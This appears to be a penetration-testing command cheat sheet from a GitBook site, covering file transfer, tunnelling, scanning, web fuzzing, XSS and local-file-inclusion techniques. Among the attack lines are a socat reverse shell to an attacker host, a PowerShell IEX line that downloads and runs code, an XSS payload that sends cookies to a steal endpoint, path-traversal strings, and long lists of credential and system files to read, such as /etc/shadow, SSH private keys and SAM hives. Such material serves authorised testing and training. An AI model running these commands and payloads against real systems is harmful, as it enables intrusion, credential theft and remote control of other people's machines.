> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/mind7-pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/mind7-pentesting/commands.md).

# Commands

#### Basics

**curl**

```
curl -v http://<DOMAIN>                                                        // verbose output
curl -X POST http://<DOMAIN>                                                   // use POST method
curl -X PUT http://<DOMAIN>                                                    // use PUT method
curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd                 // use --path-as-is to handle /../ or /./ in the given URL
curl --proxy http://127.0.0.1:8080                                             // use proxy
curl -F myFile=@<FILE> http://<RHOST>                                          // file upload
curl${IFS}<LHOST>/<FILE>                                                       // Internal Field Separator (IFS) example
```

**Chisel**

**Reverse Pivot**

```
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:3000:127.0.0.1:3000
```

**SOCKS5 / Proxychains Configuration**

```
./chisel server -p 9002 -reverse -v
./chisel client <LHOST>:9002 R:socks
```

**File Transfer**

**Certutil**

```
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
```

**Netcat**

```
nc -lnvp <LPORT> < <FILE>
nc <RHOST> <RPORT> > <FILE>
```

**Impacket**

```
sudo impacket-smbserver <SHARE> ./
sudo impacket-smbserver <SHARE> . -smb2support
copy * \\<LHOST>\<SHARE>
```

**PowerShell**

```
iwr <LHOST>/<FILE> -o <FILE>
IEX(IWR http://<LHOST>/<FILE>) -UseBasicParsing
powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
```

**Bash only**

**wget version**

Paste directly to the shell.

```
function __wget() {
    : ${DEBUG:=0}
    local URL=$1
    local tag="Connection: close"
    local mark=0

    if [ -z "${URL}" ]; then
        printf "Usage: %s \"URL\" [e.g.: %s http://www.google.com/]" \
               "${FUNCNAME[0]}" "${FUNCNAME[0]}"
        return 1;
    fi
    read proto server path <<<$(echo ${URL//// })
    DOC=/${path// //}
    HOST=${server//:*}
    PORT=${server//*:}
    [[ x"${HOST}" == x"${PORT}" ]] && PORT=80
    [[ $DEBUG -eq 1 ]] && echo "HOST=$HOST"
    [[ $DEBUG -eq 1 ]] && echo "PORT=$PORT"
    [[ $DEBUG -eq 1 ]] && echo "DOC =$DOC"

    exec 3<>/dev/tcp/${HOST}/$PORT
    echo -en "GET ${DOC} HTTP/1.1\r\nHost: ${HOST}\r\n${tag}\r\n\r\n" >&3
    while read line; do
        [[ $mark -eq 1 ]] && echo $line
        if [[ "${line}" =~ "${tag}" ]]; then
            mark=1
        fi
    done <&3
    exec 3>&-
}
```

```
__wget http://<LHOST>/<FILE>
```

**curl version**

```
function __curl() {
  read proto server path <<<$(echo ${1//// })
  DOC=/${path// //}
  HOST=${server//:*}
  PORT=${server//*:}
  [[ x"${HOST}" == x"${PORT}" ]] && PORT=80

  exec 3<>/dev/tcp/${HOST}/$PORT
  echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
  (while read line; do
   [[ "$line" == $'\r' ]] && break
  done && cat) <&3
  exec 3>&-
}
```

```
__curl http://<LHOST>/<FILE> > <OUTPUT_FILE>
```

**FTP**

```
ftp <RHOST>
wget -r ftp://anonymous:anonymous@<RHOST>
```

**Kerberos**

```
sudo apt-get install krb5-kdc
```

```
impacket-getTGT <DOMAIN>/<USERNAME>:'<PASSWORD>'
export KRB5CCNAME=<FILE>.ccache
export KRB5CCNAME='realpath <FILE>.ccache'
```

```
/etc/krb5.conf                   // kerberos configuration file location
kinit <USERNAME>                 // creating ticket request
klist                            // show available kerberos tickets
kdestroy                         // delete cached kerberos tickets
.k5login                         // resides kerberos principals for login (place in home directory)
krb5.keytab                      // "key table" file for one or more principals
kadmin                           // kerberos administration console
add_principal <EMAIL>            // add a new user to a keytab file
ksu                              // executes a command with kerberos authentication
klist -k /etc/krb5.keytab        // lists keytab file
kadmin -p kadmin/<EMAIL> -k -t /etc/krb5.keytab    // enables editing of the keytab file
```

**Ligolo-ng**

> <https://github.com/nicocha30/ligolo-ng>

**Download Proxy and Agent**

```
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz
```

**Prepare Tunnel Interface**

```
sudo ip tuntap add user $(whoami) mode tun ligolo
```

```
sudo ip link set ligolo up
```

**Setup Proxy on Attacker Machine**

```
./proxy -laddr <LHOST>:443 -selfcert
```

**Setup Agent on Target Machine**

```
./agent -connect <LHOST>:443 -ignore-cert
```

**Session**

```
ligolo-ng » session
```

```
[Agent : user@target] » ifconfig
```

```
sudo ip r add 172.16.1.0/24 dev ligolo
```

```
[Agent : user@target] » start
```

**Linux**

**CentOS**

```
doas -u <USERNAME> /bin/sh
```

**Environment Variables**

```
export PATH=`pwd`:$PATH
```

**gcc**

```
gcc (--static) -m32 -Wl,--hash-style=both exploit.c -o exploit
i686-w64-mingw32-gcc -o main32.exe main.c
x86_64-w64-mingw32-gcc -o main64.exe main.c
```

**getfacl**

```
getfacl <LOCAL_DIRECTORY>
```

**iconv**

```
echo "<COMMAND>" | iconv -t UTF-16LE | base64 -w 0
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
iconv -f ASCII -t UTF-16LE <FILE>.txt | base64 | tr -d "\n"
```

**vi**

```
:w !sudo tee %    # save file with elevated privileges without exiting
```

**Windows Command Formatting**

```
echo "<COMMAND>" | iconv -f UTF-8 -t UTF-16LE | base64 -w0
```

**Microsoft Windows**

**dir**

```
dir flag* /s /p
dir /s /b *.log
```

**PHP Webserver**

```
sudo php -S 127.0.0.1:80
```

**Ping**

```
ping -c 1 <RHOST>
ping -n 1 <RHOST>
```

**Python Webserver**

```
sudo python -m SimpleHTTPServer 80
sudo python3 -m http.server 80
```

**RDP**

```
xfreerdp /v:<RHOST> /u:<USERNAME> /p:<PASSWORD> /dynamic-resolution +clipboard
xfreerdp /v:<RHOST> /u:<USERNAME> /d:<DOMAIN> /pth:'<HASH>' /dynamic-resolution +clipboard
rdesktop <RHOST>
```

**showmount**

```
/usr/sbin/showmount -e <RHOST>
sudo showmount -e <RHOST>
chown root:root sid-shell; chmod +s sid-shell
```

**smbclient**

```
smbclient -L \\<RHOST>\ -N
smbclient -L //<RHOST>/ -N
smbclient -L ////<RHOST>/ -N
smbclient -U "<USERNAME>" -L \\\\<RHOST>\\
smbclient -L //<RHOST>// -U <USERNAME>%<PASSWORD>
smbclient //<RHOST>/SYSVOL -U <USERNAME>%<PASSWORD>
smbclient "\\\\<RHOST>\<SHARE>"
smbclient \\\\<RHOST>\\<SHARE> -U '<USERNAME>' --socket-options='TCP_NODELAY IPTOS_LOWDELAY SO_KEEPALIVE SO_RCVBUF=131072 SO_SNDBUF=131072' -t 40000
smbclient --no-pass //<RHOST>/<SHARE>
mount.cifs //<RHOST>/<SHARE> /mnt/remote
guestmount --add '/<MOUNTPOINT>/<DIRECTORY/FILE>' --inspector --ro /mnt/<MOUNT> -v
```

**Download multiple files at once**

```
mask""
recurse ON
prompt OFF
mget *
```

**Upload multiple Files at once**

```
recurse ON
prompt OFF
mput *
```

**socat**

```
socat TCP-LISTEN:<LPORT>,fork TCP:<RHOST>:<RPORT>
```

```
socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>
```

```
socat tcp-listen:5986,reuseaddr,fork tcp:<RHOST>:9002
socat tcp-listen:9002,reuseaddr,fork tcp:192.168.122.228:5968 &
```

**SSH**

```
ssh user@<RHOST> -oKexAlgorithms=+diffie-hellman-group1-sha1

ssh -R 8080:<LHOST>:80 <RHOST>
ssh -L 8000:127.0.0.1:8000 <USERNAME>@<RHOST>
ssh -N -L 1234:127.0.0.1:1234 <USERNAME>@<RHOST>

ssh -L 80:<LHOST>:80 <RHOST>
ssh -L 127.0.0.1:80:<LHOST>:80 <RHOST>
ssh -L 80:localhost:80 <RHOST>
```

**Time and Date**

**Get the Server Time**

```
sudo nmap -sU -p 123 --script ntp-info <RHOST>
```

**Stop virtualbox-guest-utils to stop syncing Time**

```
sudo /etc/init.d/virtualbox-guest-utils stop
```

**Stop systemd-timesyncd to sync Time manually**

```
sudo systemctl stop systemd-timesyncd
```

**Disable automatic Sync**

```
sudo systemctl disable --now chronyd
```

**Options to set the Date and Time**

```
sudo net time -c <RHOST>
sudo net time set -S <RHOST>
sudo net time \\<RHOST> /set /y
sudo ntpdate <RHOST>
sudo ntpdate -s <RHOST>
sudo ntpdate -b -u <RHOST>
sudo timedatectl set-timezone UTC
sudo timedatectl list-timezones
sudo timedatectl set-timezone '<COUNTRY>/<CITY>'
sudo timedatectl set-time 15:58:30
sudo timedatectl set-time '2015-11-20 16:14:50'
sudo timedatectl set-local-rtc 1
```

**Keep in Sync with a Server**

```
while [ 1 ]; do sudo ntpdate <RHOST>;done
```

**Tmux**

```
ctrl b + w    # show windows
ctrl + "      # split window horizontal
ctrl + %      # split window vertical
ctrl + ,      # rename window
ctrl + {      # flip window
ctrl + }      # flip window
ctrl + spacebar    # switch pane layout
```

Copy & Paste

```
:setw -g mode-keys vi
ctrl b + [
space
enter
ctrl b + ]
```

Search

```
ctrl b + [    # enter copy
ctrl + /      # enter search while within copy mode for vi mode
n             # search next
shift + n     # reverse search
```

Logging

```
ctrl b
shift + P    # start / stop
```

Save Output

```
ctrl b + :
capture-pane -S -
ctrl b + :
save-buffer <FILE>.txt
```

**Upgrading Shells**

```
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl + z
stty raw -echo
fg
Enter
Enter
export XTERM=xterm
```

Alternatively:

```
script -q /dev/null -c bash
/usr/bin/script -qc /bin/bash /dev/null
```

#### Oneliner

```
stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
```

**Fixing Staircase Effect**

```
env reset
```

or

```
stty onlcr
```

**VirtualBox**

```
sudo pkill VBoxClient && VBoxClient --clipboard
```

**virtualenv**

```
sudo apt-get install virtualenv
virtualenv -p python2.7 venv
. venv/bin/activate
```

```
python.exe -m pip install virtualenv
python.exe -m virtualenv venv
venv\Scripts\activate
```

#### Information Gathering

**memcached**

> <https://github.com/pd4d10/memcached-cli>

```
memcrashed / 11211/UDP

npm install -g memcached-cli
memcached-cli <USERNAME>:<PASSWORD>@<RHOST>:11211
echo -en "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" | nc -q1 -u 127.0.0.1 11211

STAT pid 21357
STAT uptime 41557034
STAT time 1519734962

sudo nmap <RHOST> -p 11211 -sU -sS --script memcached-info

stats items
stats cachedump 1 0
get link
get file
get user
get passwd
get account
get username
get password
```

**NetBIOS**

```
nbtscan <RHOST>
nmblookup -A <RHOST>
```

**Nmap**

```
sudo nmap -A -T4 -sC -sV -p- <RHOST>
sudo nmap -sV -sU <RHOST>
sudo nmap -A -T4 -sC -sV --script vuln <RHOST>
sudo nmap -A -T4 -p- -sS -sV -oN initial --script discovery <RHOST>
sudo nmap -sC -sV -p- --scan-delay 5s <RHOST>
sudo nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test' <RHOST>
ls -lh /usr/share/nmap/scripts/*ssh*
locate -r '\.nse$' | xargs grep categories | grep categories | grep 'default\|version\|safe' | grep smb
```

**Port Scanning**

```
for p in {1..65535}; do nc -vn <RHOST> $p -w 1 -z & done 2> <FILE>.txt
```

```
export ip=<RHOST>; for port in $(seq 1 65535); do timeout 0.01 bash -c "</dev/tcp/$ip/$port && echo The port $port is open || echo The Port $port is closed > /dev/null" 2>/dev/null || echo Connection Timeout > /dev/null; done
```

**snmpwalk**

```
snmpwalk -c public -v1 <RHOST>
snmpwalk -v2c -c public <RHOST> 1.3.6.1.2.1.4.34.1.3
snmpwalk -v2c -c public <RHOST> .1
snmpwalk -v2c -c public <RHOST> nsExtendObjects
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 <RHOST> .1.3.6.1.2.1.1.5
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.3.1.1
snmpwalk -c public -v1 <RHOST> 1.3.6.1.4.1.77.1.2.27
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.6.13.1.3
snmpwalk -c public -v1 <RHOST> 1.3.6.1.2.1.25.6.3.1.2
```

#### Web Application Analysis

**Burp Suite**

```
Ctrl+r          // Sending request to repeater
Ctrl+i          // Sending request to intruder
Ctrl+Shift+b    // base64 encoding
Ctrl+Shift+u    // URL decoding
```

**Set Proxy Environment Variables**

```
export HTTP_PROXY=http://localhost:8080
export HTTPS_PROXY=https://localhost:8080
```

**cadaver**

```
cadaver http://<RHOST>/<WEBDAV_DIRECTORY>/
```

```
dav:/<WEBDAV_DIRECTORY>/> cd C
dav:/<WEBDAV_DIRECTORY>/C/> ls
dav:/<WEBDAV_DIRECTORY>/C/> put <FILE>
```

**Cross-Site Scripting (XSS)**

```
<sCrIpt>alert(1)</ScRipt>
<script>alert('XSS');</script>
<script>alert(document.cookies)</script>
<script>document.querySelector('#foobar-title').textContent = '<TEXT>'</script>
<script>fetch('https://<RHOST>/steal?cookie=' + btoa(document.cookie));</script>
<script>user.changeEmail('user@domain');</script>
<iframe src=file:///etc/passwd height=1000px width=1000px></iframe>
<img src='http://<RHOST>'/>
```

**ffuf**

```
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fs <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ --fw <NUMBER> -mc all
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://<RHOST>/FUZZ -mc 200,204,301,302,307,401 -o results.txt
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://<RHOST>/ -H "Host: FUZZ.<RHOST>" -fs 185
ffuf -c -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt -u http://<RHOST>/backups/backup_2020070416FUZZ.zip
```

**API Fuzzing**

```
ffuf -u https://<RHOST>/api/v2/FUZZ -w api_seen_in_wild.txt -c -ac -t 250 -fc 400,404,412
```

**Searching for LFI**

```
ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u http://<RHOST>/admin../admin_staging/index.php?page=FUZZ -fs 15349
```

**Fuzzing with PHP Session ID**

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt  -u "http://<RHOST>/admin/FUZZ.php" -b "PHPSESSID=a0mjo6ukbkq271nb2rkb1joamp" -fw 2644
```

**Recursion**

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/basic/FUZZ -recursion
```

**File Extensions**

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://<RHOST>/cd/ext/logs/FUZZ -e .log
```

**Rate Limiting**

```
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 5 -p 0.1 -u http://<RHOST>/cd/rate/FUZZ -mc 200,429
```

**Virtual Host Discovery**

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -fs 1495
```

**Massive File Extension Discovery**

```
ffuf -w /opt/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://<RHOST>/FUZZ -t 30 -c -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0' -mc 200,204,301,302,307,401,403,500 -ic -e .7z,.action,.ashx,.asp,.aspx,.backup,.bak,.bz,.c,.cgi,.conf,.config,.dat,.db,.dhtml,.do,.doc,.docm,.docx,.dot,.dotm,.go,.htm,.html,.ini,.jar,.java,.js,.js.map,.json,.jsp,.jsp.source,.jspx,.jsx,.log,.old,.pdb,.pdf,.phtm,.phtml,.pl,.py,.pyc,.pyz,.rar,.rhtml,.shtm,.shtml,.sql,.sqlite3,.svc,.tar,.tar.bz2,.tar.gz,.tsx,.txt,.wsdl,.xhtm,.xhtml,.xls,.xlsm,.xlst,.xlsx,.xltm,.xml,.zip
```

**GitTools**

```
./gitdumper.sh http://<RHOST>/.git/ /PATH/TO/FOLDER
./extractor.sh /PATH/TO/FOLDER/ /PATH/TO/FOLDER/
```

**Gobuster**

```
-e    // extended mode that renders the full url
-k    // skip ssl certificate validation
-r    // follow cedirects
-s    // status codes
-b    // exclude status codes
-k            // ignore certificates
--wildcard    // set wildcard option

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>/ -x php
$ gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://<RHOST>/ -x php,txt,html,js -e -s 200
$ gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u https://<RHOST>:<RPORT>/ -b 200 -k --wildcard
```

**Common File Extensions**

```
txt,bak,php,html,js,asp,aspx
```

**Common Picture Extensions**

```
png,jpg,jpeg,gif,bmp
```

**POST Requests**

```
gobuster dir -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://<RHOST>/api/ -e -s 200
```

**DNS Recon**

```
gobuster dns -d <RHOST> -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dns -d <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
```

**VHost Discovery**

```
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
gobuster vhost -u <RHOST> -t 50 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
```

**Specifiy User Agent**

```
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://<RHOST>/ -a Linux
```

**Local File Inclusion (LFI)**

```
http://<RHOST>/<FILE>.php?file=
http://<RHOST>/<FILE>.php?file=../../../../../../../../etc/passwd
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd
```

**Until php 5.3**

```
http://<RHOST>/<FILE>/php?file=../../../../../../../../../../etc/passwd%00
```

**Null Byte**

```
%00
0x00
```

**Encoded Traversal Strings**

```
../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216
..././
...\.\
```

**php\://filter Wrapper**

> <https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb>

> <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion>

> <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#wrapper-phpfilter>

```
url=php://filter/convert.base64-encode/resource=file:////var/www/<RHOST>/api.php
```

```
http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=index
http://<RHOST>/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd
base64 -d <FILE>.php
```

**Django, Rails, or Node.js Web Application Header Values**

```
Accept: ../../../../.././../../../../etc/passwd{{
Accept: ../../../../.././../../../../etc/passwd{%0D
Accept: ../../../../.././../../../../etc/passwd{%0A
Accept: ../../../../.././../../../../etc/passwd{%00
Accept: ../../../../.././../../../../etc/passwd{%0D{{
Accept: ../../../../.././../../../../etc/passwd{%0A{{
Accept: ../../../../.././../../../../etc/passwd{%00{{
```

**Linux Files**

```
/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession
```

**Windows Files**

```
C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
